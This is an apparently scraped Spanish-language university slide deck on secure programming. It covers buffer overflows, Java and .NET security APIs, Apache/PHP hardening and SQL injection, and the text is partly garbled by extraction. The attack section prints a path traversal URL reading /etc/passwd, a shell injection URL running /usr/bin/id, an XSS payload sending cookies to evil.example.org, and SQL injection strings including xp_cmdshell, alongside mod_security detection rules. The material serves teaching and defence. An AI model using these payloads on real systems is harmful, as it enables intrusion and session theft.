Upload
esteban-lopez
View
37
Download
0
Tags:
Embed Size (px)
Citation preview
5/21/2018 Program Ac i on Segura
1/107
ProgramacinSegura
Gustavo A. Isaza EcheverrySeguridad Informtica
Programa de Ingeniera de Sistemas y Computacin
Universidad de Caldas
5/21/2018 Program Ac i on Segura
2/107
Agenda
Conceptos generales
APIS y Arquitecturas de Seguridad en
Lenguajes de Programacin Seguridad en Java
Seguridad .Net
Seguridad en Apache, PHP, BD Seguras
Seguridad CORBA
Conclusiones
5/21/2018 Program Ac i on Segura
3/107
La Seguridad es una medida NO un caracterstica
Costo
Usabilidad
Parte de un diseo
Ideas Previas
5/21/2018 Program Ac i on Segura
4/107
No hay conciencia y las estadsticas de incidentes nomejoran!!!
Falta de competencias
Elproblema es del Admor Red / Oficial de SeguridadInformtico
Desconocimiento de las arquitecturas, APIS,frameworks.. Seguros.
Problemas?
5/21/2018 Program Ac i on Segura
5/107
Problemas de seguridad
Ausencia infraestructura seguridad
Errores administrador/usuario
ExploitsProgramar bien !!!
entender cmo funcionan las cosas
aprender buenas polticas
aprender trampas habituales
5/21/2018 Program Ac i on Segura
6/107
Es extremadamente sencillo equivocarse
Mal diseo del lenguaje
Malas prcticas de programacin
Hay lenguajes inmunes, pero no siempre podremos
usarlos
En C, cuidado con: strcpy, strcat,sprintf, gets, scanf
Desbordamientos
5/21/2018 Program Ac i on Segura
7/107
Los desbordamientos de buffer se basan enintroducir el cdigo en el espacio reservadopara las variables locales (los argumentos de
un mtodo / funcin) y despus modificar ladireccin de retorno/regreso (RET), donderegresa la informacin, para que apunte a unoffset en donde hemos introducido nuestrocdigo fuente.
Este cdigo puede ser - por ejemplo - unaShellCode, : bash, sh, entre otros.
El Desbordamiento del Buffer: Buffer OverFlow
5/21/2018 Program Ac i on Segura
8/107
Programacin defensiva. Cuidado con:strcpy() strcat() sprintf() scanf()sscanf() fscanf() vfscanf() vsprintf
vscanf() vsscanf() streadd()strecpy() strtrns()
Evitarlas siempre que sea posible, casi todas tienenalternativas razonables.
Desbordamientos: defensa
5/21/2018 Program Ac i on Segura
9/107
gets() getchar(), fgetc(), getc(),read()
Consejo, comprobar: Siempre los lmites! Longitud de los datos antes de almacenarlos No pasar datos excesivamente grandes a otrasfunciones
Desbordamientos: ms con las entradas
5/21/2018 Program Ac i on Segura
10/107
Seguridad en Java
Seguridad General
Arquitectura de la Seguridad
Arquitectura de la Criptografa
Poltica de permisos
API para bloqueos de privilegios
Certificados X.509 y listas de certificadosrevocados
5/21/2018 Program Ac i on Segura
11/107
VM
Tres niveles de seguridad:
Cargador de clases Verificador
Gestores de seguridad
Seguridad en Java
5/21/2018 Program Ac i on Segura
12/107
Seguridad en Java
1.El cargador de clases(Class Loader),que determina como y cuandopueden cargar cdigo los programas y garantiza que los componentesdel sistema no han sido reemplazados.
2.El verificador de archivos de clases (Class file verifier), quegarantiza que el cdigo tiene el formato correcto, que el bytecode no
viola las restriciones de seguridad de tipos de la JVM, que las pilasinternas no puedan desbordarse ni por arriba ni por abajo y que lasinstucciones en bytecode tengan parmetos de tipos correctos.
3.El gestor de seguridad(Security Manager),que controla el acceso a
los recursos en tiempo de ejecucin. Los recursos sobre los que tienecontrol son multiples: E/S de red y ficheros, creacin de cargadores declases, manipulacin de hilos de ejecucin, ejecucin de programasexternos (del SO), detener la JVM, cargar cdigo nativo en la mquinavirtual, realizar determinadas operaciones en el entorno de ventanas o
cargar ciertos tipos de clases.
5/21/2018 Program Ac i on Segura
13/107
5/21/2018 Program Ac i on Segura
14/107
Usando el Security Manager
Class MySecurityManager extends SecurityManager {. . . . .}try {System.setSecurityManager(new MySecurityManager(java.policy"));
} catch (SecurityException se) {System.out.println("SecurityManager already set!");}
public boolean canRead() {SecurityManager security = System.getSecurityManager();
if (security != null) {security.checkRead(path);}return fs.checkAccess(this, false);
}
5/21/2018 Program Ac i on Segura
15/107
Security Manager
Identity- Bases para las decisiones de seguridad OriginDesde donde proviene el cdigo SignatureA qu cdigo corresponde?
java.security.CodeSource PermissionEncapsula el acceso a una operacinparticular Incluye un objetivo y una accin
p = new SocketPermission(www.utp.edu.co, connect);
p = new FilePermission(/tmp/file1, *);
5/21/2018 Program Ac i on Segura
16/107
Arquitectura criptogrficaDesde el punto de vista de la seguridad, el conjunto de clasesde seguridad distribuidas con el Java 2 SDK pueden dividirseen dos subconjuntos:
1.Clases relacionadas con el control de acceso y lagestin de permisos.
2.Clases relacionadas con la Criptografa.
Seguridad en Java
Arquitectura Criptogrfica de Java (JCA) yla Extension Criptogrfica de Java (JCE).
5/21/2018 Program Ac i on Segura
17/107
Seguridad en Java
Certification Path
Java Authentication and Authorization Service (JAAS)
Java Generic Security Services (Java GSS-API) Java Cryptography Extension (JCE)
Java Secure Socket Extension (JSSE)
Simple Authentication and Security Layer (SASL)
5/21/2018 Program Ac i on Segura
18/107
Arquitectura de la Criptografa
Java Cryptography Architecture (JCA)
Introduccin
JDK 1.1 Resmenes de mensajes
Firmas digitales
Java 2 SDK
resmenes de mensajes X.509
Arquitectura para grano fino, flexible, extensible ycontrol de acceso altamente configurable.
5/21/2018 Program Ac i on Segura
19/107
Arquitectura de la Criptografa
Proveedores de servicios criptogrficos Firma digital (DSA)
MD5 y SHA-1 Generador de Claves DSA
Certificados X.509
KeyStore
5/21/2018 Program Ac i on Segura
20/107
JCE
Java Cryptography Extension (JCE)
Introduccin
Marco de trabajo y de implementacin para elcifrado.
Generacin y comprobacin de claves
Algoritmos de autenticacin de mensajes (MAC)
5/21/2018 Program Ac i on Segura
21/107
JCE
Introduccin Ayuda para el cifrado simtrico
Ayuda para el cifrado asimtrico Ayuda para el cifrado en bloque
Cifradores en flujo
Flujos seguros
Objetos sellados
5/21/2018 Program Ac i on Segura
22/107
JCE
API JCE
Cifrado simtrico en bloque DES, RC2 e IDEA
Cifrado simtrico en flujo RC4 Encriptacin asimtrica RSA
Comprobacin de claves
5/21/2018 Program Ac i on Segura
23/107
JCE
API JCE
Cifrado Password-Based(PBE)
Algoritmo de autentificacin de claves (MAC)
Proveedor de Servicios SunJCE Una implementacin del DES (FIPS PUB 46-1),
Triple DES, y algoritmos de encriptacin Blowfishen el Electronic Code Book (ECB), Cipher BlockChaining (CBC), Cipher Feedback (CFB), Output
Feedback (OFB), y modos Propagating CipherBlock Chaining (PCBC).
Un generador de par de claves Diffie-Hellman paragenerar un par de valores pblicos y privadosconvenientes para el algoritmo de Diffie-Hellman.
5/21/2018 Program Ac i on Segura
24/107
JCE
Proveedor de Servicios SunJCE Una implementacin de HMAC-MD5 y algoritmos
keyed-hashing HMAC-SHA1 definido en RFC 2104.
Una implementacin del esquema de rellenodescrito en PKCS #5.
Una implementacin del keystore para el tipopropietario del keystore llamando "JCEKS".
5/21/2018 Program Ac i on Segura
25/107
Ejemplos
HMAC-MD5
import java.security.*;import javax.crypto.*;
public class initMac {
public static void main(String[] args) throws Exception {
KeyGenerator kg = KeyGenerator.getInstance("HmacMD5");
SecretKey sk = kg.generateKey();
Mac mac = Mac.getInstance("HmacMD5");mac.init(sk);byte[] result = mac.doFinal("Hi There".getBytes());
}
}
5/21/2018 Program Ac i on Segura
26/107
Seguridad en Java
Control de accesoGranularidad
Tools(jar, keytool, jarsigner, policytool)
Modelo de Permisos
Java.security.permission
Polticas de Seguridad
PolicyTool
Gestor de Seguridad: java.security.manager
5/21/2018 Program Ac i on Segura
27/107
Clase JCA 1.2
Funcin
java security Message
Digest
Genera resumen de mensajes (hash).
java security Signature Firmado de datos y verificacin firmas.
java security KeyPairG
eneratorGenerar pares de claves (pblica y privada) para un algoritmo.
java security KeyFactor
y
Convertir claves de formato criptogrfico a especificaciones declaves y vice versa
java security certificate
CertificateFactory
Crear certificados de clave pblica y listas de revocacin(CRLs).
java security KeyStore Crear y gestionar un almacen de claves (keystore).
java security lgorithm
Parameters
Gestionar los parmetros de un algoritmo,incluyendocodificacin y descodificacin.
java security lgorithm
ParameterGeneratorGenerar un conjunto de parmetros para un algoritmo.
java security SecureRa
ndom
Generar nmeros aleatrorios o pseudo aleatrorios
Motor JCA
5/21/2018 Program Ac i on Segura
28/107
Clase JCE 1.2 Funcin
java.crypto.Ciphe
rProporciona encriptacin y desencriptacin.
java.crypto.KeyAgreement Proporciona un protocolo de intercambio de claves.
java.crypto.KeyG
enerator
Proporciona un generador de claves simtricas.
java.crypto.Mac Proporciona un algoritmo de autentificacin demensajes.
java.crypto.SecretKeyFactory Representa una factora de claves secretas.
Motor JCE
5/21/2018 Program Ac i on Segura
29/107
Seguridad en Java
JCA & JCE (Java Crypto Architecture, Java CryptoExtensions)
Javax.crypto.interfaces
DHKey DHPrivateKey
DHPublicKey
Sockets Seguros (JSSE)
Java.security.Cert
X509Certificate, X509CRL
X509Extension
5/21/2018 Program Ac i on Segura
30/107
El paquete java.security
El paquete java.security consiste bsicamente en clasesabstractas e interfaces que encapsulan conceptos de seguridadcomo certificados, claves, resumenes de mensajes y firmasdigitales.
En el JCA los proveedores pueden implementar tres clases:KeyPairGenerator.Se emplea para crear claves pblicas yprivadas.MessageDigest.Prorciona la funcionalidad de algoritmos de
resumen de mensajes como el MD5 y el SHA.Signature.Se emplea para el firmado digital de mensajes.
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
Seguridad en Java
5/21/2018 Program Ac i on Segura
31/107
El paquete java.security.cert
Aade soporte para generar y usar certificados, incluye clases einterfaces especficas para soportar certificados X.509.
CertificateFactory. Se emplea para generar certificados ylistas de revocacin (CRL).Certificate. Es una clase para agrupar certificados dediferentes formatos pero usos comunes importantesCRL.Clase abstracta para gestionar distintos tipos de listasde revocacin de certificados.X509Certificate. Clase abstracta para representar
certificados X.509.X509CRL. Clase abstracta para una lista de revocacin decertificados X.509.X509CRLEntry.Es una clase abstracta para las entradas delas listas de revocacin
Seguridad en Java
5/21/2018 Program Ac i on Segura
32/107
Seguridad en Java
Ejemplos:
Perm = newjava.io.FilePermission(/tmp/abc,read) //AWT
Permission, NetPermission
MessageDigestm =MessageDiggest.getInstance(MD5)
Java.security.MessageDiggest
Java.security.signature Java.security.KeyPairGenerator
5/21/2018 Program Ac i on Segura
33/107
Extensin de Sockets Seguros de Java (JSSE)http://java.sun.com/products/jsse/
Servicio de Autentificacin y Autorizacin de Java(JAAS)
http://java.sun.com/products/jaas/
Seguridad en Java
5/21/2018 Program Ac i on Segura
34/107
Arquitectura de seguridad de .NET
5/21/2018 Program Ac i on Segura
35/107
Arquitectura de seguridad de ASP.NET
Configurar la Seguridad en NET
5/21/2018 Program Ac i on Segura
36/107
Configurar la Seguridad en .NET
5/21/2018 Program Ac i on Segura
37/107
ACCESO SEGURO A DATOS EN .NETAcceso a BD de datos mediante ADO.NETFormas seguras de acceder a la BDAlmacenamiento seguro de secretos
AUTENTICACIN MEDIANTE FORMULARIOS EN .NETAutenticacin mediante formularios bsicaAutenticacin mediante formularios y XMLAutenticacin mediante formularios y base de datosAutenticacin mediante formularios y tickets personalizadosAutenticacin mediante formularios sin cookies
AUTENTICACIN MEDIANTE WINDOWS EN .NETAutenticacin bsicaAutenticacin mediante resmenesAutenticacin integrada de WindowsProteccin de directorios y documentosRepresentacin de usuario
AUTENTICACIN MEDIANTE CERTIFICADOS EN .NETIntroduccin a los certificados digitalesCriptografa con .NETAutoridades de certificacinCanales seguros con SSLAutenticacin mediante certificados digitalesAcceso a la informacin de los certificados desde ASP.NET
SEGURIDAD EN SQL SERVERSEGURIDAD EN SERVICIOS WEB XML DESARROLLADOS CON .NET
Seg
uridad
en
.NET
5/21/2018 Program Ac i on Segura
38/107
Seguridad de cdigoSeguridad en Windows
Autenticacin de usuarios
Logon interactivo
Autenticacin en red
Control de acceso basado en objetos Permite limitar los recursos al usuario autenticado
Limitacin con aplicaciones no confiadas por el
usuario Mecanismo Todo - Nada
5/21/2018 Program Ac i on Segura
39/107
Seguridad de cdigoSolucin .NET
Desarrollada sobre la seguridad Windows
Nunca podremos tener mayores privilegios
Centrada en el cdigo, no en el usuario
Identificacin del cdigo por evidencias
Permite distintos niveles de seguridad
Muy granular
Conjunto estndar de permisos ampliable Fcil de administrar
Distintos niveles de administracin
5/21/2018 Program Ac i on Segura
40/107
Seguridad de cdigoPermisos
Proteccin de recursos y operaciones
SecurityPermission
SocketPermission
WebPermission
PrintingPermission
Acceso al interfaz de usuario
UIPermission
Proteccin de ficheros y directorios
FileIOPermission
FileDialogPermission
5/21/2018 Program Ac i on Segura
41/107
Seguridad de cdigoPermisos (II)
Acceso al entorno, registro y metadatos
EnvironmentPermission
RegistryPermission
ReflectionPermission
DNSPermission
EventLogPermission
ServiceControllerPermission
5/21/2018 Program Ac i on Segura
42/107
Seguridad de cdigoPermisos (III)
Proteccin de datos
DirectoryServicesPermission
IsolatedStorageFilePermission
OleDbPermission SqlClientPermission
MessageQueuePermission
PerformanceCounterPermission
Autenticacin PrincipalPermission
5/21/2018 Program Ac i on Segura
43/107
Seguridad basada en rolesAutenticacin y autorizacin
Autenticacin
Proceso que verifica la identidad del usuario
Autorizacin
Proceso que determina si el usuario puede realizar una
operacin determinada
Autenticacin .NET
Windows
Personalizable
Slo en ASP.NET Forms && Passport
Autorizacin .NET
5/21/2018 Program Ac i on Segura
44/107
Seguridad basada en rolesIdentities, principals
Identity
Encapsula informacin sobre un usuario
Principal
Representa el contexto de seguridad sobre el que corre la
aplicacin
Incluye: Usuario actual
Roles del usuario actual
Tres tipos Windows
Generic
Custom
5/21/2018 Program Ac i on Segura
45/107
Seguridad basada en rolesAutorizacin de Principals
If (MyPrincipal.IsInRole())
De forma imperativa con PrincipalPermission
p = new PrincipalPermission(DOMAIN\\Usuario)p.Demand()
De forma declarativa con PrincipalPermissionAttribute
[PrincipalPermissionAttribute(SecurityAction.Demand, Name =DOMAIN\\Usuario,]
Vlido para cualquier tipo de Principal
Sin necesidad de cambios
5/21/2018 Program Ac i on Segura
46/107
Apache && PHP
Seguridad
5/21/2018 Program Ac i on Segura
47/107
Consideraciones
Quin tiene acceso fsico?
Quin tiene acceso shell?
Apache escribe en los filesystem?
Limitar los post/get, cookies, sesiones?
5/21/2018 Program Ac i on Segura
48/107
Recomendaciones bsicas
Deshabilitar los servicios no usados, actualizar elservidor, usar los archivos de configuracinrecomendados
Habilitar logwatch y logcheck y actualizar los reportes
Habilitar una herramienta de verificacin de integridadde archivos
configurar iptablesPorts 22, 80, 443 tomcat?
5/21/2018 Program Ac i on Segura
49/107
Asegurando Apache
5/21/2018 Program Ac i on Segura
50/107
Configurando Apache
Deshabilitar servicios no indispensables
Verificar los bugtracks y actualizar
Proteger los directorios /var/www/
Crear un directorio personalizado /var/www/error Habilitar los .htaccess y proteger los archivos de users y
password del http
5/21/2018 Program Ac i on Segura
51/107
mod_dosevasive Fcil de configurar
Puede ayudar a evadir ataques de DoS bloqueandodirecciones ip o URLs temporalmente.
LoadModule dosevasive20_module modules/mod_dosevasive20.so
DOSHashTableSize 3097DOSPageCount 2DOSPageInterval 1DOSSiteCount 50
DOSSiteInterval 1DOSBlockingPeriod 10DOSEmailNotify [email protected] "/tmp/mod_dosevasive (make writable by apache only)
mailto:[email protected]:[email protected]5/21/2018 Program Ac i on Segura
52/107
Caractersticas mod_security
Los filtros se aplican antes de ejecutar los scripts
Soporta SSL
Entienden el protocolo http
Hace logging completo incluyendo post data Las reglas son personalizadas usando expresiones
regulares y pueden ser aplicadas a niveles de virtualhosts
5/21/2018 Program Ac i on Segura
53/107
Ejemplo mod_security
SecFilterEngine On# Prevent OS specific keywords
#index.php?include=filenameSecFilter /etc/passwd
# Prevent path traversal (..) attacksSecFilter "\.\./"
# Very crude filters to prevent SQL injection attacksSecFilter "delete[[:space:]]+from"SecFilter "insert[[:space:]]+into"SecFilter "select.+from"
5/21/2018 Program Ac i on Segura
54/107
Revisar el Servidor
Nmap (nmapIsV servidor)
Nessus http://www.nessus.org
CIS Linux Benchmark Scanhttp://www.cisecurity.org/bench_linux.html
5/21/2018 Program Ac i on Segura
55/107
Seguridad en PHP
5/21/2018 Program Ac i on Segura
56/107
Tipos de Ataques a PHP
Ejecucin de comandos y/o escribir en los filesystem Sql injection Session Hijacking
Cross Site Scripting (xss)
Directory Transversal Attack
5/21/2018 Program Ac i on Segura
57/107
Directory Transversal AttackEste fallo es muy comn y simple. Consiste en realizar undescenso de directorios usando la referencia ../ al directoriopadre.Un ejemplo de esto seria el siguiente:
PHP para mostrar ficheros de texto
5/21/2018 Program Ac i on Segura
58/107
Contenido del programa show_text_file.php
Este programa de ejemplo esta escrito en PHP y simplementelee el archivo especificado y lo muestra, tal y como vemos en elsiguiente escenario:
Ejemplo:
victima.com/cgi-bin/show_text_file.php?filename=introduccion.txtSalida:PHP para mostrar ficheros de texto
Esto es un ejemplo
esta es la lnea 1esta es la lnea 2esta es la lnea 3
5/21/2018 Program Ac i on Segura
59/107
Veamos ahora lo que pasa si usamos el escaladode directorios:
Ejemplo:
www.victima.com/cgi-bin/show_text_file?filename=../../../../../etc/passwd
PHP para mostrar ficheros de textoroot:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/shsys:x:3:3:sys:/dev:/bin/shsync:x:4:100:sync:/bin:/bin/syncgames:x:5:100:games:/usr/games:/bin/sh (... etc)
5/21/2018 Program Ac i on Segura
60/107
Command Execution Attack
#!/usr/bin/perlprint "Content-type:text/html\n\n";print
5/21/2018 Program Ac i on Segura
61/107
El usuario como atacante podra introducir un carcter quefuera interpretado de una forma especial por la shell.
Ejemplos de tales caracteres son : ; (separa 2 comandosdistintos) | (pipe) &, etc.Para explotar este ejemplo utilizaremos ;. En UNIX el ; sirvepara ejecutar 2 comandos distintos en una misma lnea. Porejemplo echo hola; echo mundo sacara por pantalla hola
mundo.Veamos que sucede si introducimos un ;http://victima.com/cgi-bin/nslookup.cgi?falsodominio;/usr/bin/id
Salida:Resolviendo Dominio falsodominio;/usr/bin/idServer:ganimedes Address: 172.26.0.5#53 ** server can't findfalsodominio: NXDOMAIN uid=33(www-data) gid=33(www-data) groups=33(www-data)
5/21/2018 Program Ac i on Segura
62/107
Usarlas para determinar lo que es vlido Lo que no encaje, es invalido Casi todos los lenguajes incluyen bibliotecas Hay ligeras diferencias Podemos utilizar expresiones regulares para aceptar lo
que est permitido. Ejemplo: El fichero debe estar en c: o d: El camino contiene una serie de barrasinvertidas y caracteres alfanumricos
El nombre va detrs del camino, esalfanumrico, de 32 caracteres como mximo,seguido de un punto y termina con txt, gif, jpg
Expresiones regulares
[cd]:(?:\\\w+)+\\\w{1,32}\.(txt|jpg|gif)$
5/21/2018 Program Ac i on Segura
63/107
Asegurando PHP
Default php.ini < V.4.8; WARNING ;; This is the default settings file for new PHP installations.; By default, PHP installs itself with a configuration suitable for; development purposes, and *NOT* for production purposes.
Actualizar instalaciones Hay mucha vulnerabilidades en el archivo de
configuracin (GLOBAL_VARS, SESSIONS, etc)
5/21/2018 Program Ac i on Segura
64/107
Configuraciones para asegurar PHP
disp lay_errors = Off (turn on w ith ini_set or .htaccess)
log_errors = On
error_report ing = E_ALL (better error report ing)
sessio n.save_path=/opt/php/session sessio n.gc_maxl i fet ime=600
(ten m inutes of inact iv i ty)
safe_mode = On (enable if po ss ible)
safe_mode_gid = On (enable if po ss ible)
5/21/2018 Program Ac i on Segura
65/107
Ms configuraciones
register_globals = Off Never turn on Too easy to write insecure code Auto initializes variables from Get/Post/Cookie data
URL= index.php?administrator=xyz
5/21/2018 Program Ac i on Segura
66/107
Eliminar Javascript y reducir
ataques XSSUse preg_replace() on
javascript: onclick ondblclick onmousedownonmouseup onmouseoveronmousemove onmouseout onkeypress
onkeydown onkeyup
5/21/2018 Program Ac i on Segura
67/107
Register Globals
Est deshabilitado por defecto en PHP superiores a la 4.2, norepresenta una vulnerabilidad pero si un riesgo
Se debera trabajar register_globals deshabilitado
Con register_globalshabilitado, esta pginapuede ser llamada con?authorized=1 en lacadena de consulta yse puede hacer unbypass para esteacceso.
El Mtodo de despacho
5/21/2018 Program Ac i on Segura
68/107
Asegurar que el filtro dedatos no puede sersaltadoAsegurar que los datosinvlidos no puede
interpretados como datosvlidosIdentificar los datos deorigen
El Mtodo de despacho
El Mt d i l d
5/21/2018 Program Ac i on Segura
69/107
El Mtodo include
Filt
5/21/2018 Program Ac i on Segura
70/107
Filtros
5/21/2018 Program Ac i on Segura
71/107
Reporte de Errores
5/21/2018 Program Ac i on Segura
72/107
Reporte de Errores
error_reportingEsta directiva configura el nivel de reporte de errores, es recomendadohabilitarlo como E_ALL tanto para ambientes de desarrollo como deproduccin
display_errorsCuales errores deben ser mostrados en la pantalla. (ON: Paradesarrollo OFF: para Produccin)
log_errorsQu errores deben ser escritos en un archivo de logs. Debe estar en
ON
error_logIndica la localizacin de los archivos de logs.. Revisar permisos!!!!
5/21/2018 Program Ac i on Segura
73/107
Posible Spoofing desde el procesamiento deForms
http://www.atacame.com/form.html :
redgreenblue
5/21/2018 Program Ac i on Segura
74/107
Cross-Site Scripting
Explotar la confianza que un usuario tiene sobre un sitio
Generalmente en WebSites que muestran datos remotos
Si se muestra el contenido que proviene desde unafuente remota son los filtros apropiados, se puedetener una vulnerabilidad de XSS.Los datos remotos no son solo variables que vienendesde el cliente, puede serlo un banner, email,syndicated blog.
5/21/2018 Program Ac i on Segura
75/107
Ejemplo de un message board:
5/21/2018 Program Ac i on Segura
76/107
Este mensaje adiciona
a cualquier entrada delusuario, y anexa esto a un archivo, luego
muestra el
contenido del archivoSi el usuario ingresa:
document.location =
'http://evil.example.org/steal_cookies.php?cookies=' +document.cookie
El siguiente usuario que visite el message boardcon JavaScript habilitado es redirigido a evil.example.org,y cualquier cookie asociada con el sitio actual es incluidaen la cadena de consulta del URL. Aqu todo est a laimaginacin del atacante
5/21/2018 Program Ac i on Segura
77/107
Filtrar los datos externosUsar funciones existentes como:
htmlentities(),
strip_tags(), y utf8_decode()
Disminuir los riesgos XSS
5/21/2018 Program Ac i on Segura
78/107
Interaccin con bases de datos.Generalmente se utilizan conexin a SMBD usandocredenciales para autenticacin:
Exponer las credenciales de Acceso
5/21/2018 Program Ac i on Segura
79/107
Buena prctica utilizar mdulos.
/path/to/secret-stuff, que solamente root pueda ( NO nobody):SetEnv DB_USER "myuser"SetEnv DB_PASS "mypass"Incluir este archivo dentro del httpd.conf :
Include "/path/to/secret-stuff"Ahora puede usarse desde PHP $_SERVER['DB_USER'] y$_SERVER['DB_PASS'] en el cdigo.
No solamente no hay que volver a escribir el username y el
password en los scripts, tambin el WebServer no puede leer elarchivo secret-stuff, as que otros usuarios no pueden escribirscripts que lean las credenciales de acceso; obviamente estasvariables no pueden quedar expuestas en phpinfo() oprint_r($_SERVER).
5/21/2018 Program Ac i on Segura
80/107
HTTP no tiene estado, no hay relacin entre peticionessucesivas de los clientesLas cookiesse introdujeron para proporcionar una formade obtenerlo
No solucionan completamente el problema:Tamao limitadoManejadas por el clienteLos objetos de sesin son conjuntos de variables en ellado del servidor que mantienen informacin sobre el
estadoAhora hace falta asociarlas con el usuario: elidentificador de sesin (session id)
Sesiones
5/21/2018 Program Ac i on Segura
81/107
Si un usuario es capaz de conseguir el identificador deusuario de otro, tendremos problemas Cmo?
Adivinarla, calcularla, fuerza bruta, prueba
y error XSS Referers Husmeadores (packet sn i ff ing)
Robo de sesiones
S
5/21/2018 Program Ac i on Segura
82/107
Sesiones
El identificador de la sesin puede ser una piezaimportante para el atacanteHay 3 formas de obtener este ID:
1. Prediction2. Capture
3. Fixation
PredictionConsiste en adivinar el identificador de la sesin.
Capturaruna sesin vlida es el tipo ms comn de ataques.Muchas de los IDs de las sesiones son propagados en cookies ovariables GET
Fixationes un mtodo simple de obtener un ID vlido de sesin.
Con los mtodos session_start()se puede abrir la vulnerabilidad
Criptografa en PHP
5/21/2018 Program Ac i on Segura
83/107
5/21/2018 Program Ac i on Segura
84/107
5/21/2018 Program Ac i on Segura
85/107
Es una librera que proveesoporte para 12 algoritmos
hashCRC32,HAVAL160,MD5,CRC32B.SHA1TIGER
http://www.phpclasses.org/browse/class/20.html
Mhash
Clases en PHP
5/21/2018 Program Ac i on Segura
86/107
AzDGCrypt
AzDGPasswordGenerator
BmpCrypt
Crypt Class
Cryptography
Symmetric Block CipherUsing Binary XOR
ctlCipherSaber
Encrypt MD5 64
Encryption&&Decryption with Rijndael256
SSH && SSL inPHP
5/21/2018 Program Ac i on Segura
87/107
Seguridad en
aplicaciones Web
5/21/2018 Program Ac i on Segura
88/107
Aplicaciones Web
Cuando se instalen aplicaciones web libres siempreestar atento a las advertencias de seguridad
Matener un backup de las bases de datos
Estar familiarizado sobre como actualizar la aplicaciones
Usar modo seguro en lo posible
5/21/2018 Program Ac i on Segura
89/107
Seguridad en SQL
5/21/2018 Program Ac i on Segura
90/107
Ataque contra un Gestor de Bases de Datos Relacionalque aprovecha la vulnerabilidad de una aplicacin clientedel mismo.
Dicha vulnerabilidad consiste en permitir mandarinstrucciones SQL adicionales a partir de un campo o unparmetro de entrada - por lo que se dice han sido"inyectadas".
SQL Injection
5/21/2018 Program Ac i on Segura
91/107
El ataque "SQL Injection" es posible dadas ciertascaractersticas del lenguaje- SQL que lo dotan de
flexibilidad:Poder embeber comentarios en una sentencia SQLPoder escribir varias sentencias SQL juntas yejecutarlas en bloque.Poder realizar consultas de metadatos por medio de
"tablas de sistema".
SQL Injection
SQL Injection
5/21/2018 Program Ac i on Segura
92/107
Una aplicacin de acceso a datos que emplea entradasde usuario como parmetros de una consulta SQLcomn. Es tpico que este tipo de consultas seanconstruidas dinmicamente utilizando sentencias SQLcon concatenacin de variables, al estilo:
SQL Injection
"SELECT campo1, campo2,..., campoN FROM tablaXWHERE campo1=" + mValor [+ ...]
SQL Injection
5/21/2018 Program Ac i on Segura
93/107
Donde mValoresta dado por una entrada de usuario.
Son stas entradas las puertas a un SQL Injection yaque, dependiendo del tipo de dato de mValor, si en lugarde la entrada esperada se coloca:
SQL Injection
a) ' Or 1=1 --b) 0 Or 1=1 --c) #01/01/01# Or 1=1 --
"SELECT campo1, campo2,..., campoN FROM tablaXWHERE campo1='' Or 1=1 -- lo que siga no importa"
SQL Injection
5/21/2018 Program Ac i on Segura
94/107
Lo que se consigue es de hacer vlida la consulta al aadir
una clausula OR que siempre ser cierta (1=1) as como deobligar al intrprete SQL a omitir el resto de la sentenciaSQL original al introducir el guin doble (--) que le indicaque lo subsiguiente es un comentario.
El atacante puede, por ejemplo, tener acceso a la aplicacinsin necesidad de contar con las credenciales adecuadas.
SQL Injection
' UNION SELECT id, name, '', 0,'' FROM sysobjects
WHERE xtype='U' --
'; EXEC xp_cmdshell 'net stop sqlserver', no_output
Protecciones SQL Injection
5/21/2018 Program Ac i on Segura
95/107
Existen ciertos principios a considerar para protegernuestras aplicaciones de un SQL Injection:
No confiar en la entrada del usuario.No utilizar sentencias SQL construidas
dinmicamente.No utilizar cuentas con privilegios administrativos.No proporcionar mayor informacin de lanecesaria.
Protecciones SQL Injection
5/21/2018 Program Ac i on Segura
96/107
Escapar los Datos
Usar mysql_escape_string()addslashes()
String s = inputSQLs = inputSQL.Replace("'", "''")s = s.Replace("[", "[[]")s = s.Replace("%", "[%]")s = s.Replace("_", "[_]")
Private Function string SafeSqlLiteral( _ByValinputSQL AsString) AsStringReturninputSQL.Replace("'", "''")End Function'...DimsafeSQL AsString = SafeSqlLiteral(Login.Text)
DimmyCommand AsSqlDataAdapter = _NewSqlDataAdapter("SELECT au_lname, au_fname " & _"FROM authors WHERE au_id = '" & safeSQL & "'", _myConnection)
5/21/2018 Program Ac i on Segura
97/107
Seguridad en CORBA
5/21/2018 Program Ac i on Segura
98/107
Al igual que todas las especificaciones de la OMG, la deCORBAsec es larga y tediosa
Un agente usuario de Corba debe presentar suscredenciales, es decir, sus atributos de seguridad:
IdentificacinPrivilegios
Se maneja el concepto de dominios de seguridad y depolticas de seguridad
CorbaSec : algunos principios
5/21/2018 Program Ac i on Segura
99/107
Ot t d CORBAS
5/21/2018 Program Ac i on Segura
100/107
Otros aspectos inherentes a seguridad en sistemasdistribuidos:
Seguridad al nivel de granularidad de los objetos
DelegacinDefinicin de dominios de seguridad que nocorresponden con dominios de administracin desistemas (jerarquas, federaciones)Interoperabilidad con otros sistemas de objetos
(DCOM, EJB)Si las aplicaciones incluyen acciones relacionadascon seguridad o no.
Otros aspectos de CORBASec
Seguridad a todo nivel
5/21/2018 Program Ac i on Segura
101/107
Las propuestas de la OMG para proveer seguridad enCorba se centran en definir mecanismos para el accesoseguro a objetos
La necesidad de proteger todo tipo de informacin (no slola que se provee por medio del modelo de objetosdistribuidos) hace necesario pensar en protecciones msgenerales
Estos mecanismos de proteccin general afectan laimplantacin y el desempeo de sistemas distribuidos
Seguridad a todo nivel
5/21/2018 Program Ac i on Segura
102/107
En un esquema cliente/servidor la conexin esiniciada siempre por el cliente, usando sockets
directamente, RPC, RMI, etc.
En Corba, al ser un conjunto de objetos distribuidosinteroperando libremente, el cliente y el servidorpueden intercambiar roles dinmicamente al momento de
establecer cada conexin se debe localizar el objetoreferenciado, resultando en operaciones de consulta aservidores de nombres
Sistemas de objetos distribuidos
Implementacin de llamadas
5/21/2018 Program Ac i on Segura
103/107
IIOP: Internet Inter ORB ProtocolIIOP = GIOP (+ CDR) + TCP/IPSe define una estructura de localizacin en Internet,llamada IOR (Internet Object Reference)
Los tipos de mensaje definidos estn mapeados enfunciones que realizan el envo sobre TCP/IP, tpicamenteusando la interfaz de socketsNo se define un puerto bien conocido para el servidor,
ms bien se establece que puede haber varios servidoresen el mismo hostIIOP puede ir codificado sobre SSL
p e e tac de a adasCORBA: IIOP
IIOP seguro: SECIOP
5/21/2018 Program Ac i on Segura
104/107
-Especificado en CORBAsec
